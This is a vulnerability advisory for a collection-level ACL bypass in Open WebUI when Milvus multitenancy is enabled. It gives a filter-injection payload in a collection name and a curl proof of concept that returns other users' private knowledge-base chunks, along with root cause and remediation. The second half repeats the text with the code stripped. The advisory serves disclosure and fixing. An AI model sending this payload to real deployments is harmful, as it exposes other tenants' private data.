RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.
An authenticated non-admin user can query:
x' or resource_id != '' or resource_id == 'x
This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
resource_id == 'x' or resource_id != '' or resource_id == 'x'
That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true
This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
validated.add(name)
Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:
# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"
Affected paths include:
POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc
PoC
Request:
curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
--data-binary @- <<'JSON'
{
"collection_names": [
"x' or resource_id != '' or resource_id == 'x"
],
"query": "anything",
"k": 10,
"hybrid": false
}
JSON
Actual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
- Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
- Escape or parameterize Milvus expression values before building filters.
- Reject collection names containing quotes/control characters unless they match a known internal format.
- Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x
References
RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a
resource_idand is interpolated into a Milvus expression without escaping.An authenticated non-admin user can query:
This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
Milvus multitenancy then treats the same name as
resource_idand builds unsafe expressions:Affected paths include:
PoC
Request:
Actual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
References